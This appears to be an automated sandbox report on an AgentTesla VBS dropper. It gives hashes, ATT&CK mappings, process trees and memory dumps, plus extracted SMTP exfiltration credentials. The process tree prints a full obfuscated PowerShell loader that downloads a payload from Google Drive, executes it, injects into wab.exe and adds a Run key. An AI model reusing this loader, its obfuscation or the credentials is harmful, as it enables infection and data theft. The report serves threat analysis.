agenttesla | 836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6

General

Target

Flab 423800-213-KFO-872-1-9.vbs
Size

5KB
MD5

4f71bc91cc015856a2a5029d880f02f0
SHA1

3f9e609f67057c573a15f469e4bb5e64c571174c
SHA256

836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6
SHA512

30de245e61fd2cf7462a9e4949a04acfd17da6ffd074886d440b11f76bc4c28b336a9a5ced2785695fa8049348cc152d35b43ab487ff193e6f001a3d23243c38
SSDEEP

96:Q7ZrI+0JYJMAAiOL1vOZypNWiu/hlbz9cZh+xFUMLCT0MTUmdrQfp:Q150+GAAlOZypNWiu/hlPahKLCQMUhfp

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.blachownia.pl
Port:
587
Username:
[email protected]
Password:
Zamowienia-2017
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

9 3924 powershell.exe
11 3924 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation WScript.exe

flow	pid	process
9	3924	powershell.exe
11	3924	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wab.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

8 drive.google.com
9 drive.google.com
37 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

4468 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

5080 powershell.exe
4468 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 5080 set thread context of 4468 5080 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

3924 powershell.exe
3924 powershell.exe
5080 powershell.exe
5080 powershell.exe
5080 powershell.exe
4468 wab.exe
4468 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

5080 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 3924 powershell.exe
Token: SeDebugPrivilege 5080 powershell.exe
Token: SeDebugPrivilege 4468 wab.exe

flow	ioc
8	drive.google.com
9	drive.google.com
37	drive.google.com

pid	process
4468	wab.exe

pid	process
5080	powershell.exe
4468	wab.exe

description	pid	process	target process
PID 5080 set thread context of 4468	5080	powershell.exe	wab.exe

pid	process
3924	powershell.exe
3924	powershell.exe
5080	powershell.exe
5080	powershell.exe
5080	powershell.exe
4468	wab.exe
4468	wab.exe

pid	process
5080	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	4468	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2368 wrote to memory of 3924	2368	WScript.exe	powershell.exe
PID 2368 wrote to memory of 3924	2368	WScript.exe	powershell.exe
PID 3924 wrote to memory of 1560	3924	powershell.exe	cmd.exe
PID 3924 wrote to memory of 1560	3924	powershell.exe	cmd.exe
PID 3924 wrote to memory of 5080	3924	powershell.exe	powershell.exe
PID 3924 wrote to memory of 5080	3924	powershell.exe	powershell.exe
PID 3924 wrote to memory of 5080	3924	powershell.exe	powershell.exe
PID 5080 wrote to memory of 1824	5080	powershell.exe	cmd.exe
PID 5080 wrote to memory of 1824	5080	powershell.exe	cmd.exe
PID 5080 wrote to memory of 1824	5080	powershell.exe	cmd.exe
PID 5080 wrote to memory of 4468	5080	powershell.exe	wab.exe
PID 5080 wrote to memory of 4468	5080	powershell.exe	wab.exe
PID 5080 wrote to memory of 4468	5080	powershell.exe	wab.exe
PID 5080 wrote to memory of 4468	5080	powershell.exe	wab.exe
PID 5080 wrote to memory of 4468	5080	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Flab 423800-213-KFO-872-1-9.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Semistarved = 1;$Fortrnges='Sub';$Fortrnges+='strin';$Fortrnges+='g';Function Bogievognenes83($Bldgringsmidler89){$Lovgav=$Bldgringsmidler89.Length-$Semistarved;For($Twentythree=1;$Twentythree -lt $Lovgav;$Twentythree+=2){$Irrigably+=$Bldgringsmidler89.$Fortrnges.Invoke( $Twentythree, $Semistarved);}$Irrigably;}function Kalkbrnderens($Chokprisers){.($Posedes) ($Chokprisers);}$Vgavis=Bogievognenes83 '.M,oIz i lElUaB/,5 . 0p ( W iin dKo.wSsT ,NhT, I1S0W. 0 ;E SW iHnI6.4p;A Ex 6P4,;D ,rFvE: 1,2U1,. 0O)D .GCe.c,k oV/D2 0S1 0N0V1R0m1L .F,iEr.e fgoPx,/H1r2,1 .v0B ';$Discrowning136=Bogievognenes83 'OU sGe r.-LASgSe,n tL ';$oplagre=Bogievognenes83 'BhGtUt.pSs :C/k/IdPrHiSv eL.Pg odoTgSl ev. c oMm./FuGcB?aeBx.p.o.rWtP=Sd,o wTnEl,oSa d.& i d,= 1R0GUGUce.zNT,z p HBZKcFo.M.wNW asrB5OfULOvRh.K jRmtqUrF0S1 mAbSfT ';$Flitwite=Bogievognenes83 'M>L ';$Posedes=Bogievognenes83 'TiSeAx ';$Bothriums='Eksemplarers';$Spatheful26 = Bogievognenes83 'De,cSh,oS % aDpSp,dFaAt.a %B\ RLuAhCa,a,rJe d e .STAa.lP &,&c IeScOh.oD tL ';Kalkbrnderens (Bogievognenes83 ' $,g l.o bEa l :UF o cBu.sFePsS= (,c mSd ./ cR $CSFp.aTt.hCe f,uPlO2D6,). ');Kalkbrnderens (Bogievognenes83 'B$ g lSo b aMl,: K a rMlGetk aSm rKe tF=P$Uo.pIl aHgIrPe,. s.p,l i t (,$IFVlGiDt w,iDt,eB) ');$oplagre=$Karlekamret[0];$Topvinklers= (Bogievognenes83 'F$TgBlIo bTaDlS:,S.oMlOoTeIr s,=ENPeBw,-AO b j,e,c t CSWyEsTt eLm .TNFe.t . WLe b C lci eUn,t');$Topvinklers+=$Focuses[1];Kalkbrnderens ($Topvinklers);Kalkbrnderens (Bogievognenes83 ' $ SWoBlGote rTsK.RH.e a dUeOr s [U$SDDi sFc rRoOw.ndiTnSg,1.3 6I].=S$BVPgEaBvIi.s ');$Rejen=Bogievognenes83 'T$DS,o lFo eNrSsp. DSoDwAn l oMaBd F.iGlOe.(N$Lo psl,aVg r,eS,D$DMOe gBa,lso,m.aMnbi cE) ';$Megalomanic=$Focuses[0];Kalkbrnderens (Bogievognenes83 ',$Pg lHo.bPaWlS:UWOhTiPsIkAiEnT=P(BTIe,sFtS- PHa t h .$ MSeAgEa,l o mPa n iMc,), ');while (!$Whiskin) {Kalkbrnderens (Bogievognenes83 ',$FgQl,oIbSa l :EFBo.rKt.u.n,aCtBe.lHy =S$,tVr,uSe ') ;Kalkbrnderens $Rejen;Kalkbrnderens (Bogievognenes83 ' S tAaBrOtA- S.l,e.eOpB 4 ');Kalkbrnderens (Bogievognenes83 'I$.g l,oSbNa.l,:VWKheiBs.k i nM= ( Tte sIt - PKaPt h, B$ M,eMgDaBlRoDmuaPn isc.), ') ;Kalkbrnderens (Bogievognenes83 'H$ gLlKoSb,aSlB: BBeSn vBa r m eSr ndeusN=P$bg,lAoLbra,l,: tFeSl eGf oPtGoPe t +D+,%.$ K aSr lSeHk aKmOrTeFt .Vc o uUn t, ') ;$oplagre=$Karlekamret[$Benvarmernes];}$Taximeters=346626;$resummon=26683;Kalkbrnderens (Bogievognenes83 'N$ gSl o b aPlD:PCPoMnWdPoUtSt iSe rBi. =G ,GSe.tV-CCCoCnmt e n.t, .$ MFe.gSaBl,oUmHa.n,isc ');Kalkbrnderens (Bogievognenes83 ' $Sg l.oAb a,l :NSStUrCaNnUg lBe,mfeAn tU R=C [AS,y s.tSe mD.HCgo nIvCe r t,]E: : FUrSo.mABFa s eS6 4PSBtSrLi n,gA(S$FC oTnLdSo t tMiKe.rAi,). ');Kalkbrnderens (Bogievognenes83 ' $SgDlLo b aRl : C hAa.m.b,e r e d, =F H[ESby s.t.eRm .TT eFx tC. E.n c,oUd i nBg,]T:O:HA,S CMITIT.,GFeMtKS t rri n.gX(.$FS tSrFaDn gHl e mAe,n tI) ');Kalkbrnderens (Bogievognenes83 'B$.g,l.o.bra lO:,VNaRlFu,t aMkJuLr sOe rS=.$.C h a mAb e,r eCd .Ls u,bHsStrrFiSnMgU(.$.T.aBxSi mMe,t eMr sB, $ r e s u,m,mPoKn ), ');Kalkbrnderens $Valutakurser;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ruhaarede.Tal && echo t"
    3⤵
    PID:1560
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Semistarved = 1;$Fortrnges='Sub';$Fortrnges+='strin';$Fortrnges+='g';Function Bogievognenes83($Bldgringsmidler89){$Lovgav=$Bldgringsmidler89.Length-$Semistarved;For($Twentythree=1;$Twentythree -lt $Lovgav;$Twentythree+=2){$Irrigably+=$Bldgringsmidler89.$Fortrnges.Invoke( $Twentythree, $Semistarved);}$Irrigably;}function Kalkbrnderens($Chokprisers){.($Posedes) ($Chokprisers);}$Vgavis=Bogievognenes83 '.M,oIz i lElUaB/,5 . 0p ( W iin dKo.wSsT ,NhT, I1S0W. 0 ;E SW iHnI6.4p;A Ex 6P4,;D ,rFvE: 1,2U1,. 0O)D .GCe.c,k oV/D2 0S1 0N0V1R0m1L .F,iEr.e fgoPx,/H1r2,1 .v0B ';$Discrowning136=Bogievognenes83 'OU sGe r.-LASgSe,n tL ';$oplagre=Bogievognenes83 'BhGtUt.pSs :C/k/IdPrHiSv eL.Pg odoTgSl ev. c oMm./FuGcB?aeBx.p.o.rWtP=Sd,o wTnEl,oSa d.& i d,= 1R0GUGUce.zNT,z p HBZKcFo.M.wNW asrB5OfULOvRh.K jRmtqUrF0S1 mAbSfT ';$Flitwite=Bogievognenes83 'M>L ';$Posedes=Bogievognenes83 'TiSeAx ';$Bothriums='Eksemplarers';$Spatheful26 = Bogievognenes83 'De,cSh,oS % aDpSp,dFaAt.a %B\ RLuAhCa,a,rJe d e .STAa.lP &,&c IeScOh.oD tL ';Kalkbrnderens (Bogievognenes83 ' $,g l.o bEa l :UF o cBu.sFePsS= (,c mSd ./ cR $CSFp.aTt.hCe f,uPlO2D6,). ');Kalkbrnderens (Bogievognenes83 'B$ g lSo b aMl,: K a rMlGetk aSm rKe tF=P$Uo.pIl aHgIrPe,. s.p,l i t (,$IFVlGiDt w,iDt,eB) ');$oplagre=$Karlekamret[0];$Topvinklers= (Bogievognenes83 'F$TgBlIo bTaDlS:,S.oMlOoTeIr s,=ENPeBw,-AO b j,e,c t CSWyEsTt eLm .TNFe.t . WLe b C lci eUn,t');$Topvinklers+=$Focuses[1];Kalkbrnderens ($Topvinklers);Kalkbrnderens (Bogievognenes83 ' $ SWoBlGote rTsK.RH.e a dUeOr s [U$SDDi sFc rRoOw.ndiTnSg,1.3 6I].=S$BVPgEaBvIi.s ');$Rejen=Bogievognenes83 'T$DS,o lFo eNrSsp. DSoDwAn l oMaBd F.iGlOe.(N$Lo psl,aVg r,eS,D$DMOe gBa,lso,m.aMnbi cE) ';$Megalomanic=$Focuses[0];Kalkbrnderens (Bogievognenes83 ',$Pg lHo.bPaWlS:UWOhTiPsIkAiEnT=P(BTIe,sFtS- PHa t h .$ MSeAgEa,l o mPa n iMc,), ');while (!$Whiskin) {Kalkbrnderens (Bogievognenes83 ',$FgQl,oIbSa l :EFBo.rKt.u.n,aCtBe.lHy =S$,tVr,uSe ') ;Kalkbrnderens $Rejen;Kalkbrnderens (Bogievognenes83 ' S tAaBrOtA- S.l,e.eOpB 4 ');Kalkbrnderens (Bogievognenes83 'I$.g l,oSbNa.l,:VWKheiBs.k i nM= ( Tte sIt - PKaPt h, B$ M,eMgDaBlRoDmuaPn isc.), ') ;Kalkbrnderens (Bogievognenes83 'H$ gLlKoSb,aSlB: BBeSn vBa r m eSr ndeusN=P$bg,lAoLbra,l,: tFeSl eGf oPtGoPe t +D+,%.$ K aSr lSeHk aKmOrTeFt .Vc o uUn t, ') ;$oplagre=$Karlekamret[$Benvarmernes];}$Taximeters=346626;$resummon=26683;Kalkbrnderens (Bogievognenes83 'N$ gSl o b aPlD:PCPoMnWdPoUtSt iSe rBi. =G ,GSe.tV-CCCoCnmt e n.t, .$ MFe.gSaBl,oUmHa.n,isc ');Kalkbrnderens (Bogievognenes83 ' $Sg l.oAb a,l :NSStUrCaNnUg lBe,mfeAn tU R=C [AS,y s.tSe mD.HCgo nIvCe r t,]E: : FUrSo.mABFa s eS6 4PSBtSrLi n,gA(S$FC oTnLdSo t tMiKe.rAi,). ');Kalkbrnderens (Bogievognenes83 ' $SgDlLo b aRl : C hAa.m.b,e r e d, =F H[ESby s.t.eRm .TT eFx tC. E.n c,oUd i nBg,]T:O:HA,S CMITIT.,GFeMtKS t rri n.gX(.$FS tSrFaDn gHl e mAe,n tI) ');Kalkbrnderens (Bogievognenes83 'B$.g,l.o.bra lO:,VNaRlFu,t aMkJuLr sOe rS=.$.C h a mAb e,r eCd .Ls u,bHsStrrFiSnMgU(.$.T.aBxSi mMe,t eMr sB, $ r e s u,m,mPoKn ), ');Kalkbrnderens $Valutakurser;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5080
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ruhaarede.Tal && echo t"
      4⤵
      PID:1824
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rq42olum.2iu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Ruhaarede.Tal

Filesize
486KB

MD5
1bfa03c6f53315482c87ac075d5e4898

SHA1
e2252b3662c2989cef2233e1d5fa7554bf8e5bd8

SHA256
806ff71ceaf81fe7073d40617e7ccb34e4e9430fcccb5469c88e195e3c68eaf2

SHA512
47e7a36d739e740f0b2d89694c1c670315b9efc29c4a710ddfab5f6aa2cdcbaaad605eec17ef33e3b53c2023a112eb2de09c3be6c2f6e59df404d337e68255a8

Download Submit
memory/3924-58-0x00007FFA84E20000-0x00007FFA858E1000-memory.dmp

Filesize
10.8MB

Download
memory/3924-11-0x00007FFA84E20000-0x00007FFA858E1000-memory.dmp

Filesize
10.8MB

Download
memory/3924-12-0x00007FFA84E20000-0x00007FFA858E1000-memory.dmp

Filesize
10.8MB

Download
memory/3924-0-0x00007FFA84E23000-0x00007FFA84E25000-memory.dmp

Filesize
8KB

Download
memory/3924-10-0x00000207243C0000-0x00000207243E2000-memory.dmp

Filesize
136KB

Download
memory/3924-40-0x00007FFA84E23000-0x00007FFA84E25000-memory.dmp

Filesize
8KB

Download
memory/3924-39-0x00007FFA84E20000-0x00007FFA858E1000-memory.dmp

Filesize
10.8MB

Download
memory/4468-62-0x00000000234E0000-0x00000000234EA000-memory.dmp

Filesize
40KB

Download
memory/4468-61-0x00000000235E0000-0x0000000023672000-memory.dmp

Filesize
584KB

Download
memory/4468-60-0x00000000234F0000-0x0000000023540000-memory.dmp

Filesize
320KB

Download
memory/4468-55-0x0000000001000000-0x0000000001042000-memory.dmp

Filesize
264KB

Download
memory/4468-54-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/5080-17-0x0000000006160000-0x0000000006182000-memory.dmp

Filesize
136KB

Download
memory/5080-34-0x0000000007C80000-0x0000000007D16000-memory.dmp

Filesize
600KB

Download
memory/5080-35-0x0000000007C10000-0x0000000007C32000-memory.dmp

Filesize
136KB

Download
memory/5080-36-0x0000000008E50000-0x00000000093F4000-memory.dmp

Filesize
5.6MB

Download
memory/5080-33-0x0000000006F70000-0x0000000006F8A000-memory.dmp

Filesize
104KB

Download
memory/5080-38-0x0000000009400000-0x000000000C491000-memory.dmp

Filesize
48.6MB

Download
memory/5080-32-0x0000000008220000-0x000000000889A000-memory.dmp

Filesize
6.5MB

Download
memory/5080-31-0x0000000006A00000-0x0000000006A4C000-memory.dmp

Filesize
304KB

Download
memory/5080-30-0x00000000069E0000-0x00000000069FE000-memory.dmp

Filesize
120KB

Download
memory/5080-29-0x0000000006410000-0x0000000006764000-memory.dmp

Filesize
3.3MB

Download
memory/5080-18-0x0000000006200000-0x0000000006266000-memory.dmp

Filesize
408KB

Download
memory/5080-19-0x00000000063A0000-0x0000000006406000-memory.dmp

Filesize
408KB

Download
memory/5080-16-0x0000000005AE0000-0x0000000006108000-memory.dmp

Filesize
6.2MB

Download
memory/5080-15-0x0000000003120000-0x0000000003156000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads